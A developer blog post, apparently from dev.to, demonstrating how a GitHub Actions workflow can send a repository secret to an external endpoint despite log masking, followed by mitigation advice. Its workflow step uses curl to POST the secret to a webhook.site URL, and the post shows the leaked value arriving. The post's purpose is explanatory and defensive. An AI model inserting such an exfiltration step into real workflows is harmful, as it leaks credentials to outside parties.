While writing GitHub Actions workflows, I wanted to test the boundaries around secret masking. GitHub masks secret values in build logs, but code running inside a workflow runner can still send those secrets across the network.
Here is a short proof of concept showing how a workflow can send a secret to an external HTTP endpoint.
How it works
Step 1: Define a target secret
In the repository settings under Settings > Secrets and variables > Actions, I created a secret named FIND_ME containing a Base64 string.
FIND_ME = JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM=
Step 2: Set up an endpoint
On Webhook.site, I generated a unique URL to receive incoming HTTP POST requests.
Step 3: Write the workflow
I added .github/workflows/extract_github_secrets.yaml triggered by workflow_dispatch. The job uses curl to POST the secret value in the request body:
name: Extract Github Secrets
on: workflow_dispatch
jobs:
extract-github-secrets:
runs-on: ubuntu-22.04
steps:
- name: "Send Data to webhook.test"
run: |
curl -X POST https://webhook.site/f2592054-ab00-4fe6-9901-3c781cea2974 \
--data '{"message": "${{ secrets.FIND_ME }}"}'
Step 4: Run and verify
I triggered the workflow manually from the Actions tab. The runner made the outbound request, and the plaintext secret value appeared in the Webhook.site logs:
{
"message": "JoEDagSRyTQrsFZsEuyMaf+4JjjKSbJzbX/BdVo1ofM="
}
Defense strategies
Log masking prevents accidental printing to stdout, but it cannot stop a job from transmitting secrets over HTTP.
To reduce this risk:
- Limit secret access on untrusted triggers like
pull_requestfrom forks. Usepull_request_targetwith explicit review checks instead. - Scope secrets to specific GitHub Environments with protection rules.
- Restrict outbound egress traffic on self-hosted runners using firewall rules.
- Restrict
GITHUB_TOKENpermissions to minimum required scopes.




Top comments (1)
tr.ee/dev-to